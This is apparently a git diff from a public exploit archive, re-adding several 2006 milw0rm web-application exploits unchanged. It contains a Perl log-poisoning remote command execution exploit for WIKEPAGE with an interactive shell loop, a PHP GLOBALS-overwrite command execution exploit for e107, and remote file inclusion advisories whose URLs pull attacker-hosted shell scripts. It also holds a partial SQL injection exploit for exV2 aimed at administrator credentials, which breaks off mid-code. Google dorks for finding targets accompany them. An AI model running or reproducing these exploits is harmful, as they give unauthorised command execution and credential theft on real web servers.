-# IHST: h4ckerz.com / hackerz.ir
-# AST : Aria-Security.Net
-# Kapda : kapda.ir
-#
-#### (c)oded & discovered By Hessam-x ( Hessamx -at- Hessamx.net)
-
-use IO::Socket;
-use LWP::Simple;
-
-print "-------------------------------------------------------------\n";
-print "=  WIKEPAGE <= V2006.2a Remote Command Execution Exploit    =\n";
-print "=            By Hessam-x  - www.Hessamx.net                 =\n";
-print "-----------------------------------------------------------\n\n";
-
-if (@ARGV < 2)
-{
-	print "[*] Usage: hxxpl.pl [host] [path]\n\n";
-	exit();
-}
-
-    $server=$ARGV[0];
-    $path=$ARGV[1];
-    print " SERVER : $server \n";
-    print " Path   : $path   \n";
-    print "-------------------------------------------\n";
-
-$pcode ="<?php ob_clean();echo _Hessamx_;passthru(\$_GET[cmd]);echo _xHessam_;die; ?>";
-$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server", PeerPort=>"http(80)") || die "[-] Cannot not connect to host !\n";
-
- print $socket "GET ".$path.$pcode." HTTP/1.1\r\n";
- print $socket "User-Agent: ".$pcode."\r\n";
- print $socket "Host: ".$server."\r\n";
- print $socket "Connection: close\r\n\r\n";
- close($socket);
-
-print "[+] PHP code injection in log file finished. \n";
-$log = "no";
-@apache=(
-  "/var/log/httpd/access_log","/var/log/httpd/error_log",
-  "/var/log/apache/error.log","/var/log/apache/access.log",  
-  "/apache/logs/error.log", "/apache/logs/access.log",
-  "/etc/httpd/logs/acces_log","/etc/httpd/logs/acces.log",
-  "/etc/httpd/logs/error_log","/etc/httpd/logs/error.log",
-  "/var/www/logs/access_log","/var/www/logs/access.log",
-  "/usr/local/apache/logs/access_log","/usr/local/apache/logs/access.log",
-  "/var/log/apache/access_log","/var/log/apache/access.log",
-  "/var/log/access_log","/var/www/logs/error_log",
-  "/www/logs/error.log","/usr/local/apache/logs/error_log",
-  "/usr/local/apache/logs/error.log","/var/log/apache/error_log",
-  "/var/log/apache/error.log","/var/log/access_log","/var/log/error_log",
-);
-for ($i=0; $i<=$#apache; $i++)
-  {
- 
-print "[+] Apache Path : ".$i."\n";
-
-$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$server, Timeout  => 10, PeerPort=>"http(80)") || die "[-] cannot connect to host! \n";
-
-  print $sock "GET ".$path."index.php&cmd=id&lng=".$path[$i]."%00 HTTP/1.1\r\n";
-  print $sock "Host: ".$server."\r\n";
-  print $sock "Connection: close\r\n\r\n";
-
-    $out = "";
-    while ($answer = <$sock>) 
-    {
-    $out.=$answer;
-    }
-    close($sock);
-
-
-if ($out =~ m/_Hessamx_(.*?)_xHessam_/ms)
-  {
-  print "[+] Log File found ! [ $i ] \n\n";
-  $log = $i;
-  $i = $#path
-  }
-   
-  }
-if ($log eq "no") {
-    print "[-] Can not found log file ! \n";
-    print "\n[-] Exploit Failed ! ... \n";
-    exit;
-   }
-print "[Hessam-x\@ $server] \$ ";
-$cmd = <STDIN>;
-
-while($cmd !~ "exit")
-{
-	$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80") || die "[-] Cannot connect to host !\n";
-	
-	print $socket "GET ".$path."index.php?cmd=".$cmd."&lng=../../../../../../../../..".$path[$log]."%00 HTTP/1.1\r\n";
-	print $socket "Host: ".$serv."\r\n";
-	print $socket "Accept: */*\r\n";
-        print $socket "Connection: close\r\n\n";	
-	
-	while ($answer = <$socket>)
-	{
-	    print $answer;
-	}
-	
-	print "[Hessam-x\@ $server ] \$ ";
-	$cmd = <STDIN>;	
-}
-
-# milw0rm.com [2006-08-24]
+#!/usr/bin/perl
+#
+# WIKEPAGE <= V2006.2a Opus 10 Remote Command Execution Exploit
+# -------------------------------------------------------------
+# IHST: h4ckerz.com / hackerz.ir
+# AST : Aria-Security.Net
+# Kapda : kapda.ir
+#
+#### (c)oded & discovered By Hessam-x ( Hessamx -at- Hessamx.net)
+
+use IO::Socket;
+use LWP::Simple;
+
+print "-------------------------------------------------------------\n";
+print "=  WIKEPAGE <= V2006.2a Remote Command Execution Exploit    =\n";
+print "=            By Hessam-x  - www.Hessamx.net                 =\n";
+print "-----------------------------------------------------------\n\n";
+
+if (@ARGV < 2)
+{
+	print "[*] Usage: hxxpl.pl [host] [path]\n\n";
+	exit();
+}
+
+    $server=$ARGV[0];
+    $path=$ARGV[1];
+    print " SERVER : $server \n";
+    print " Path   : $path   \n";
+    print "-------------------------------------------\n";
+
+$pcode ="<?php ob_clean();echo _Hessamx_;passthru(\$_GET[cmd]);echo _xHessam_;die; ?>";
+$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server", PeerPort=>"http(80)") || die "[-] Cannot not connect to host !\n";
+
+ print $socket "GET ".$path.$pcode." HTTP/1.1\r\n";
+ print $socket "User-Agent: ".$pcode."\r\n";
+ print $socket "Host: ".$server."\r\n";
+ print $socket "Connection: close\r\n\r\n";
+ close($socket);
+
+print "[+] PHP code injection in log file finished. \n";
+$log = "no";
+@apache=(
+  "/var/log/httpd/access_log","/var/log/httpd/error_log",
+  "/var/log/apache/error.log","/var/log/apache/access.log",  
+  "/apache/logs/error.log", "/apache/logs/access.log",
+  "/etc/httpd/logs/acces_log","/etc/httpd/logs/acces.log",
+  "/etc/httpd/logs/error_log","/etc/httpd/logs/error.log",
+  "/var/www/logs/access_log","/var/www/logs/access.log",
+  "/usr/local/apache/logs/access_log","/usr/local/apache/logs/access.log",
+  "/var/log/apache/access_log","/var/log/apache/access.log",
+  "/var/log/access_log","/var/www/logs/error_log",
+  "/www/logs/error.log","/usr/local/apache/logs/error_log",
+  "/usr/local/apache/logs/error.log","/var/log/apache/error_log",
+  "/var/log/apache/error.log","/var/log/access_log","/var/log/error_log",
+);
+for ($i=0; $i<=$#apache; $i++)
+  {
+ 
+print "[+] Apache Path : ".$i."\n";
+
+$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$server, Timeout  => 10, PeerPort=>"http(80)") || die "[-] cannot connect to host! \n";
+
+  print $sock "GET ".$path."index.php&cmd=id&lng=".$path[$i]."%00 HTTP/1.1\r\n";
+  print $sock "Host: ".$server."\r\n";
+  print $sock "Connection: close\r\n\r\n";
+
+    $out = "";
+    while ($answer = <$sock>) 
+    {
+    $out.=$answer;
+    }
+    close($sock);
+
+
+if ($out =~ m/_Hessamx_(.*?)_xHessam_/ms)
+  {
+  print "[+] Log File found ! [ $i ] \n\n";
+  $log = $i;
+  $i = $#path
+  }
+   
+  }
+if ($log eq "no") {
+    print "[-] Can not found log file ! \n";
+    print "\n[-] Exploit Failed ! ... \n";
+    exit;
+   }
+print "[Hessam-x\@ $server] \$ ";
+$cmd = <STDIN>;
+
+while($cmd !~ "exit")
+{
+	$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80") || die "[-] Cannot connect to host !\n";
+	
+	print $socket "GET ".$path."index.php?cmd=".$cmd."&lng=../../../../../../../../..".$path[$log]."%00 HTTP/1.1\r\n";
+	print $socket "Host: ".$serv."\r\n";
+	print $socket "Accept: */*\r\n";
+        print $socket "Connection: close\r\n\n";	
+	
+	while ($answer = <$socket>)
+	{
+	    print $answer;
+	}
+	
+	print "[Hessam-x\@ $server ] \$ ";
+	$cmd = <STDIN>;	
+}
+
+# milw0rm.com [2006-08-24]
diff --git a/platforms/php/webapps/2268.php b/platforms/php/webapps/2268.php
index 3a7c552ad..9cb7e670a 100755
--- a/platforms/php/webapps/2268.php
+++ b/platforms/php/webapps/2268.php
@@ -1,192 +1,192 @@
-#!/usr/bin/php -q -d short_open_tag=on
-<?
-print_r('
---------------------------------------------------------------------------------
-e107 <= 0.75 GLOBALS[] overwrite/Zend_Hash_Del_Key_Or_Index remote commands
-execution exploit
-by rgod rgod@autistici.org
-site: http://retrogod.altervista.org
-dork: "This site is powered by e107"|inurl:e107_plugins|e107_handlers|e107_files
---------------------------------------------------------------------------------
-');
-/*
-works with register_globals=On
-against PHP < 4.4.1, 5 < PHP < 5.0.6
-*/
-if ($argc<4) {
-print_r('
---------------------------------------------------------------------------------
-Usage: php '.$argv[0].' host path cmd OPTIONS
-host:      target server (ip/hostname)
-path:      path to e107
-cmd:       a shell command
-Options:
- -p[port]:    specify a port other than 80
- -P[ip:port]: specify a proxy
-Example:
-php '.$argv[0].' localhost /e107/ ls -la -P1.1.1.1:80
-php '.$argv[0].' localhost /e107/ cat ./../../../../e107_config.php -p81
---------------------------------------------------------------------------------
-');
-die;
-}
-/*
-software site: http://e107.org/
-
-vulnerable code in class2.php near lines 29-37:
-...
-// Destroy! (if we need to)
-if($register_globals == true){
-	while (list($global) = each($GLOBALS)) {
-		if (!preg_match('/^(_POST|_GET|_COOKIE|_SERVER|_FILES|GLOBALS|HTTP.*|_REQUEST|retrieve_prefs|eplug_admin)$/', $global)) {
-		unset($$global); [**]
-		}
-	}
-	unset($global);
-}
-...
-and in e107_handlers/tiny_mce/plugins/ibrowser/ibrowser.php near lines 26-40:
-
-...
-require_once("../../../../class2.php");
-if (!defined('e107_INIT')) { exit; }
-unset($tinyMCE_imglib_include); //[*]
-
-// include image library config settings
-include 'config.php';
-
-$request_uri = urldecode(empty($HTTP_POST_VARS['request_uri'])?(empty($HTTP_GET_VARS['request_uri'])?'':$HTTP_GET_VARS['request_uri']):$HTTP_POST_VARS['request_uri']);
-
-// if set include file specified in $tinyMCE_imglib_include
-
-if (!empty($tinyMCE_imglib_include))
-{
-  include $tinyMCE_imglib_include; ///[***]
-}
-...
-
-you can evade [*] by sending the hash keys of $tinyMCE_imglib_include var and
-[**] (this *should* unsets the hash keys...) by sending a multipart/form-data
-request with the "GLOBALS" var
-
-here [***] the code will include the temporary file and execute our shellcode
-
-see http://www.hardened-php.net/hphp/zend_hash_del_key_or_index_vulnerability.html
-and http://www.hardened-php.net/advisory_202005.79.html
-
-for details about this php vulnerabilities
-*/
-
-error_reporting(0);
-ini_set("max_execution_time",0);
-ini_set("default_socket_timeout",5);
-
-function quick_dump($string)
-{
-  $result='';$exa='';$cont=0;
-  for ($i=0; $i<=strlen($string)-1; $i++)
-  {
-   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
-   {$result.="  .";}
-   else
-   {$result.="  ".$string[$i];}
-   if (strlen(dechex(ord($string[$i])))==2)
-   {$exa.=" ".dechex(ord($string[$i]));}
-   else
-   {$exa.=" 0".dechex(ord($string[$i]));}
-   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
-  }
- return $exa."\r\n".$result;
-}
-$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
-function sendpacketii($packet)
-{
-  global $proxy, $host, $port, $html, $proxy_regex;
-  if ($proxy=='') {
-    $ock=fsockopen(gethostbyname($host),$port);
-    if (!$ock) {
-      echo 'No response from '.$host.':'.$port; die;
-    }
-  }
-  else {
-	$c = preg_match($proxy_regex,$proxy);
-    if (!$c) {
-      echo 'Not a valid proxy...';die;
-    }
-    $parts=explode(':',$proxy);
-    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
-    $ock=fsockopen($parts[0],$parts[1]);
-    if (!$ock) {
-      echo 'No response from proxy...';die;
-	}
-  }
-  fputs($ock,$packet);
-  if ($proxy=='') {
-    $html='';
-    while (!feof($ock)) {
-      $html.=fgets($ock);
-    }
-  }
-  else {
-    $html='';
-    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
-      $html.=fread($ock,1);
-    }
-  }
-  fclose($ock);
-  #debug
-  #echo "\r\n".$html;
-}
-
-$host=$argv[1];
-$path=$argv[2];
-$cmd="";
-$port=80;
-$proxy="";
-for ($i=3; $i<$argc; $i++){
-$temp=$argv[$i][0].$argv[$i][1];
-if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
-if ($temp=="-p")
-{
-  $port=str_replace("-p","",$argv[$i]);
-}
-if ($temp=="-P")
-{
-  $proxy=str_replace("-P","",$argv[$i]);
-}
-}
-if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
-if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
-
-$data="-----------------------------7d529a1d23092a\r\n";            #oh, I want to tell you a story, about a Telecom guy *
-$data.="Content-Disposition: form-data; name=\"tinyMCE_imglib_include\"; filename=\"suntzu\";\r\n";   #that doesn't know *
-$data.="Content-Type: image/jpeg;\r\n\r\n";       #the sovereign art of PHP kung-fu, now is desperate and he's seriously *
-$data.="<?php error_reporting(0);set_time_limit(0);echo 'my_delim';passthru('".$cmd."');echo 'my_delim'; die;?>\r\n";#   *
-$data.="-----------------------------7d529a1d23092a\r\n";            #thinking to kill himself, after he loosed his work *
-$data.="Content-Disposition: form-data; name=\"-1203709508\"; filename=\"suntzu\";\r\n";//and his honour and self-respect*
-$data.="Content-Type: image/jpeg;\r\n\r\n";                           //because of some brave guys that rooted his boxes.*
-$data.="1\r\n";#                                                                                                         *
-$data.="-----------------------------7d529a1d23092a\r\n";              #Now, guy, don't cry anymore, but... do something *
-$data.="Content-Disposition: form-data; name=\"225672436\"; filename=\"suntzu\";\r\n";      #useful, please open the PHP *
-$data.="Content-Type: image/jpeg;\r\n\r\n";                          #manual, like a respectful student. And start to... *
-$data.="1\r\n";#                                                                                                         *
-$data.="-----------------------------7d529a1d23092a\r\n";#                                                               *
-$data.="Content-Disposition: form-data; name=\"GLOBALS\"; filename=\"suntzu\";\r\n";#                                    *
-$data.="Content-Type: image/jpeg;\r\n\r\n";#                                                                             *
-$data.="1\r\n";#                                                                                                         *
-$data.="-----------------------------7d529a1d23092a--\r\n";#                                                             *
-$packet ="POST ".$p."e107_handlers/tiny_mce/plugins/ibrowser/ibrowser.php HTTP/1.0\r\n";#                                *
-$packet.="Host: ".$host."\r\n";#                                                                                         *
-$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";#                   *
-$packet.="Content-Length: ".strlen($data)."\r\n";#                                                                       *
-$packet.="Accept: text/plain\r\n";#                                                                                      *
-$packet.="Connection: Close\r\n\r\n";#                                                                                   *
-$packet.=$data;#                                                                                                         *
-sendpacketii($packet);#                                                                                                  *
-if (strstr($html,"my_delim")){#                                                                                          *
-echo "exploit succeeded...\n";$temp=explode("my_delim",$html);die($temp[1]);                                   #...pray  *
-}
-echo "exploit failed... register_globals=off here or wrong PHP version\n";
-?>
-
-# milw0rm.com [2006-08-28]
+#!/usr/bin/php -q -d short_open_tag=on
+<?
+print_r('
+--------------------------------------------------------------------------------
+e107 <= 0.75 GLOBALS[] overwrite/Zend_Hash_Del_Key_Or_Index remote commands
+execution exploit
+by rgod rgod@autistici.org
+site: http://retrogod.altervista.org
+dork: "This site is powered by e107"|inurl:e107_plugins|e107_handlers|e107_files
+--------------------------------------------------------------------------------
+');
+/*
+works with register_globals=On
+against PHP < 4.4.1, 5 < PHP < 5.0.6
+*/
+if ($argc<4) {
+print_r('
+--------------------------------------------------------------------------------
+Usage: php '.$argv[0].' host path cmd OPTIONS
+host:      target server (ip/hostname)
+path:      path to e107
+cmd:       a shell command
+Options:
+ -p[port]:    specify a port other than 80
+ -P[ip:port]: specify a proxy
+Example:
+php '.$argv[0].' localhost /e107/ ls -la -P1.1.1.1:80
+php '.$argv[0].' localhost /e107/ cat ./../../../../e107_config.php -p81
+--------------------------------------------------------------------------------
+');
+die;
+}
+/*
+software site: http://e107.org/
+
+vulnerable code in class2.php near lines 29-37:
+...
+// Destroy! (if we need to)
+if($register_globals == true){
+	while (list($global) = each($GLOBALS)) {
+		if (!preg_match('/^(_POST|_GET|_COOKIE|_SERVER|_FILES|GLOBALS|HTTP.*|_REQUEST|retrieve_prefs|eplug_admin)$/', $global)) {
+		unset($$global); [**]
+		}
+	}
+	unset($global);
+}
+...
+and in e107_handlers/tiny_mce/plugins/ibrowser/ibrowser.php near lines 26-40:
+
+...
+require_once("../../../../class2.php");
+if (!defined('e107_INIT')) { exit; }
+unset($tinyMCE_imglib_include); //[*]
+
+// include image library config settings
+include 'config.php';
+
+$request_uri = urldecode(empty($HTTP_POST_VARS['request_uri'])?(empty($HTTP_GET_VARS['request_uri'])?'':$HTTP_GET_VARS['request_uri']):$HTTP_POST_VARS['request_uri']);
+
+// if set include file specified in $tinyMCE_imglib_include
+
+if (!empty($tinyMCE_imglib_include))
+{
+  include $tinyMCE_imglib_include; ///[***]
+}
+...
+
+you can evade [*] by sending the hash keys of $tinyMCE_imglib_include var and
+[**] (this *should* unsets the hash keys...) by sending a multipart/form-data
+request with the "GLOBALS" var
+
+here [***] the code will include the temporary file and execute our shellcode
+
+see http://www.hardened-php.net/hphp/zend_hash_del_key_or_index_vulnerability.html
+and http://www.hardened-php.net/advisory_202005.79.html
+
+for details about this php vulnerabilities
+*/
+
+error_reporting(0);
+ini_set("max_execution_time",0);
+ini_set("default_socket_timeout",5);
+
+function quick_dump($string)
+{
+  $result='';$exa='';$cont=0;
+  for ($i=0; $i<=strlen($string)-1; $i++)
+  {
+   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
+   {$result.="  .";}
+   else
+   {$result.="  ".$string[$i];}
+   if (strlen(dechex(ord($string[$i])))==2)
+   {$exa.=" ".dechex(ord($string[$i]));}
+   else
+   {$exa.=" 0".dechex(ord($string[$i]));}
+   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
+  }
+ return $exa."\r\n".$result;
+}
+$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
+function sendpacketii($packet)
+{
+  global $proxy, $host, $port, $html, $proxy_regex;
+  if ($proxy=='') {
+    $ock=fsockopen(gethostbyname($host),$port);
+    if (!$ock) {
+      echo 'No response from '.$host.':'.$port; die;
+    }
+  }
+  else {
+	$c = preg_match($proxy_regex,$proxy);
+    if (!$c) {
+      echo 'Not a valid proxy...';die;
+    }
+    $parts=explode(':',$proxy);
+    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
+    $ock=fsockopen($parts[0],$parts[1]);
+    if (!$ock) {
+      echo 'No response from proxy...';die;
+	}
+  }
+  fputs($ock,$packet);
+  if ($proxy=='') {
+    $html='';
+    while (!feof($ock)) {
+      $html.=fgets($ock);
+    }
+  }
+  else {
+    $html='';
+    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
+      $html.=fread($ock,1);
+    }
+  }
+  fclose($ock);
+  #debug
+  #echo "\r\n".$html;
+}
+
+$host=$argv[1];
+$path=$argv[2];
+$cmd="";
+$port=80;
+$proxy="";
+for ($i=3; $i<$argc; $i++){
+$temp=$argv[$i][0].$argv[$i][1];
+if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
+if ($temp=="-p")
+{
+  $port=str_replace("-p","",$argv[$i]);
+}
+if ($temp=="-P")
+{
+  $proxy=str_replace("-P","",$argv[$i]);
+}
+}
+if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
+if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
+
+$data="-----------------------------7d529a1d23092a\r\n";            #oh, I want to tell you a story, about a Telecom guy *
+$data.="Content-Disposition: form-data; name=\"tinyMCE_imglib_include\"; filename=\"suntzu\";\r\n";   #that doesn't know *
+$data.="Content-Type: image/jpeg;\r\n\r\n";       #the sovereign art of PHP kung-fu, now is desperate and he's seriously *
+$data.="<?php error_reporting(0);set_time_limit(0);echo 'my_delim';passthru('".$cmd."');echo 'my_delim'; die;?>\r\n";#   *
+$data.="-----------------------------7d529a1d23092a\r\n";            #thinking to kill himself, after he loosed his work *
+$data.="Content-Disposition: form-data; name=\"-1203709508\"; filename=\"suntzu\";\r\n";//and his honour and self-respect*
+$data.="Content-Type: image/jpeg;\r\n\r\n";                           //because of some brave guys that rooted his boxes.*
+$data.="1\r\n";#                                                                                                         *
+$data.="-----------------------------7d529a1d23092a\r\n";              #Now, guy, don't cry anymore, but... do something *
+$data.="Content-Disposition: form-data; name=\"225672436\"; filename=\"suntzu\";\r\n";      #useful, please open the PHP *
+$data.="Content-Type: image/jpeg;\r\n\r\n";                          #manual, like a respectful student. And start to... *
+$data.="1\r\n";#                                                                                                         *
+$data.="-----------------------------7d529a1d23092a\r\n";#                                                               *
+$data.="Content-Disposition: form-data; name=\"GLOBALS\"; filename=\"suntzu\";\r\n";#                                    *
+$data.="Content-Type: image/jpeg;\r\n\r\n";#                                                                             *
+$data.="1\r\n";#                                                                                                         *
+$data.="-----------------------------7d529a1d23092a--\r\n";#                                                             *
+$packet ="POST ".$p."e107_handlers/tiny_mce/plugins/ibrowser/ibrowser.php HTTP/1.0\r\n";#                                *
+$packet.="Host: ".$host."\r\n";#                                                                                         *
+$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";#                   *
+$packet.="Content-Length: ".strlen($data)."\r\n";#                                                                       *
+$packet.="Accept: text/plain\r\n";#                                                                                      *
+$packet.="Connection: Close\r\n\r\n";#                                                                                   *
+$packet.=$data;#                                                                                                         *
+sendpacketii($packet);#                                                                                                  *
+if (strstr($html,"my_delim")){#                                                                                          *
+echo "exploit succeeded...\n";$temp=explode("my_delim",$html);die($temp[1]);                                   #...pray  *
+}
+echo "exploit failed... register_globals=off here or wrong PHP version\n";
+?>
+
+# milw0rm.com [2006-08-28]
diff --git a/platforms/php/webapps/2351.txt b/platforms/php/webapps/2351.txt
index f056dc567..3834032a7 100755
--- a/platforms/php/webapps/2351.txt
+++ b/platforms/php/webapps/2351.txt
@@ -1,35 +1,35 @@
-#==============================================================================================
-#Popper <= v1.41 (form) Remote File Inclusion Exploit
-#===============================================================================================
-#                                                                      
-#Critical Level : Dangerous                                            
-#                                                                      
-#Venedor site : http://popper.ractive.ch/      
-#                                                                      
-#Version : v1.41                                             
-#
-#================================================================================================
-#Bug in : childwindow.inc.php
-#
-#Vlu Code :
-#--------------------------------
-#
-#     <?php include($form.".form.inc.php");?>
-#
-#================================================================================================
-#
-#Exploit :
-#--------------------------------
-#
-#http://sitename.com/[Script Path]/childwindow.inc.php?form=http://SHELLURL.COM?&cmd=id
-#
-#================================================================================================
-#Discoverd By : SHiKaA
-#
-#Conatact : SHiKaA-[at]hotmail.com
-#
-#GreetZ : CCtream - Cyper-worrier team
-# Special Thx To : Str0ke & simoo
-==================================================================================================
-
-# milw0rm.com [2006-09-12]
+#==============================================================================================
+#Popper <= v1.41 (form) Remote File Inclusion Exploit
+#===============================================================================================
+#                                                                      
+#Critical Level : Dangerous                                            
+#                                                                      
+#Venedor site : http://popper.ractive.ch/      
+#                                                                      
+#Version : v1.41                                             
+#
+#================================================================================================
+#Bug in : childwindow.inc.php
+#
+#Vlu Code :
+#--------------------------------
+#
+#     <?php include($form.".form.inc.php");?>
+#
+#================================================================================================
+#
+#Exploit :
+#--------------------------------
+#
+#http://sitename.com/[Script Path]/childwindow.inc.php?form=http://SHELLURL.COM?&cmd=id
+#
+#================================================================================================
+#Discoverd By : SHiKaA
+#
+#Conatact : SHiKaA-[at]hotmail.com
+#
+#GreetZ : CCtream - Cyper-worrier team
+# Special Thx To : Str0ke & simoo
+==================================================================================================
+
+# milw0rm.com [2006-09-12]
diff --git a/platforms/php/webapps/2390.txt b/platforms/php/webapps/2390.txt
index 5b50cbb96..2827af87c 100755
--- a/platforms/php/webapps/2390.txt
+++ b/platforms/php/webapps/2390.txt
@@ -1,29 +1,29 @@
-Yeah, another ZeroDay Smile
-
-Vendor: http://www.pnphpbb.com/
-
-Vulnerable File: includes/functions_admin.php
-
-Vulnerable Code:
-
-//The phpbb_root_path isn't initialize
-
-include_once( $phpbb_root_path . 'includes/functions.' . $phpEx );
-
-Method To Use:
-
-http://www.victim.com/[pn_phpbb]/includes/functions_admin.php?phpbb_root_path=http://yourdomain.com/shell.txt?
-
-How To Fix:
-
-Add this code before the include
-Code:
-if ( !defined('IN_PHPBB') )
-{
-   die("Hacking attempt");
-}
-
-
-Google Dork: Powered by PNphpBB2 / Powered por PNphpBB2
-
-# milw0rm.com [2006-09-18]
+Yeah, another ZeroDay Smile
+
+Vendor: http://www.pnphpbb.com/
+
+Vulnerable File: includes/functions_admin.php
+
+Vulnerable Code:
+
+//The phpbb_root_path isn't initialize
+
+include_once( $phpbb_root_path . 'includes/functions.' . $phpEx );
+
+Method To Use:
+
+http://www.victim.com/[pn_phpbb]/includes/functions_admin.php?phpbb_root_path=http://yourdomain.com/shell.txt?
+
+How To Fix:
+
+Add this code before the include
+Code:
+if ( !defined('IN_PHPBB') )
+{
+   die("Hacking attempt");
+}
+
+
+Google Dork: Powered by PNphpBB2 / Powered por PNphpBB2
+
+# milw0rm.com [2006-09-18]
diff --git a/platforms/php/webapps/2406.php b/platforms/php/webapps/2406.php
index 4d8e426d2..e6bfabf4b 100755
--- a/platforms/php/webapps/2406.php
+++ b/platforms/php/webapps/2406.php
@@ -1,304 +1,304 @@
-#!/usr/bin/php -q -d short_open_tag=on
-<?
-print_r('
--------------------------------------------------------------------------------
-exV2 <= 2.0.4.3 "sort" SQL injection / administrative credentials disclosure
-exploit
-mail: retrog@alice.it
-site: http://retrogod.altervista.org
-dork: "Powered by eXV2 Vers"
--------------------------------------------------------------------------------
-');
-/*
-this works regardless of php.ini settings
-against Mysql >= 4.1 (allowing subs)
-and if 'messages' module is enabled
-*/
-if ($argc<4) {
-print_r('
------------------------------------------------------------------------------
-Usage: php '.$argv[0].' host path user pass OPTIONS
-host:      target server (ip/hostname)
-path:      path to exv2
-user/pass: valide user credentials
-Options:
- -T[prefix:   specify a table prefix, other than default (exv2_)
- -p[port]:    specify a port other than 80
- -P[ip:port]: specify a proxy
-Example:
-php '.$argv[0].' 2.2.2.2 /exv2/ rgod test -P1.1.1.1:80
-php '.$argv[0].' 1.1.1.1 / rgod test -p81
------------------------------------------------------------------------------
-');
-die;
-}
-
-error_reporting(0);
-ini_set("max_execution_time",0);
-ini_set("default_socket_timeout",5);
-
-function quick_dump($string)
-{
-  $result='';$exa='';$cont=0;
-  for ($i=0; $i<=strlen($string)-1; $i++)
-  {
-   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
-   {$result.="  .";}
-   else
-   {$result.="  ".$string[$i];}
-   if (strlen(dechex(ord($string[$i])))==2)
-   {$exa.=" ".dechex(ord($string[$i]));}
-   else
-   {$exa.=" 0".dechex(ord($string[$i]));}
-   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
-  }
- return $exa."\r\n".$result;
-}
-$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
-function sendpacketii($packet)
-{
-  global $proxy, $host, $port, $html, $proxy_regex;
-  if ($proxy=='') {
-    $ock=fsockopen(gethostbyname($host),$port);
-    if (!$ock) {
-      echo 'No response from '.$host.':'.$port; die;
-    }
-  }
-  else {
-	$c = preg_match($proxy_regex,$proxy);
-    if (!$c) {
-      echo 'Not a valid proxy...';die;
-    }
-    $parts=explode(':',$proxy);
-    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
-    $ock=fsockopen($parts[0],$parts[1]);
-    if (!$ock) {
-      echo 'No response from proxy...';die;
-	}
-  }
-  fputs($ock,$packet);
-  if ($proxy=='') {
-    $html='';
-    while (!feof($ock)) {
-      $html.=fgets($ock);
-    }
-  }
-  else {
-    $html='';
-    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
-      $html.=fread($ock,1);
-    }
-  }
-  fclose($ock);
-  #debug
-  #echo "\r\n".$html;
-}
-
-$host=$argv[1];
-$path=$argv[2];
-$uname=$argv[3];
-$pass=$argv[4];
-$prefix="exv2_";
-
-$port=80;
-$proxy="";
-for ($i=5; $i<$argc; $i++){
-$temp=$argv[$i][0].$argv[$i][1];
-if ($temp=="-p")
-{
-  $port=str_replace("-p","",$argv[$i]);
-}
-if ($temp=="-P")
-{
-  $proxy=str_replace("-P","",$argv[$i]);
-}
-if ($temp=="-T")
-{
-  $prefix=str_replace("-T","",$argv[$i]);
-}
-}
-if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
-
-//login
-$data="uname=$uname&pass=$pass&op=login";
-$packet ="POST ".$p."user.php HTTP/1.0\r\n";
-$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
-$packet.="Accept-Encoding: text/plain\r\n";
-$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
-$packet.="Host: ".$host."\r\n";
-$packet.="Content-Length: ".strlen($data)."\r\n";
-$packet.="Connection: Close\r\n\r\n";
-$packet.=$data;
-sendpacketii($packet);
-$temp=explode("Set-Cookie: ",$html);
-$cookie="";
-for ($i=1; $i<count($temp); $i++)
-{
-  $temp2=explode(" ",$temp[$i]);
-  $temp3=explode("\r",$temp2[0]);
-  if (!strstr($temp3[0],";")){$temp3[0]=$temp3[0].";";}
-  $cookie.=$temp3[0];
-}
-echo "cookie ->".$cookie."\n";
-
-//retrieve your user id
-$packet ="GET ".$p."edituser.php HTTP/1.0\r\n";
-$packet.="Accept-Encoding: text/plain\r\n";
-$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
-$packet.="Host: ".$host."\r\n";
-$packet.="Cookie: ".$cookie."\r\n";
-$packet.="Connection: Close\r\n\r\n";
-sendpacketii($packet);
-$temp=explode("userinfo.php?uid=",$html);
-$temp2=explode("'",$temp[1]);
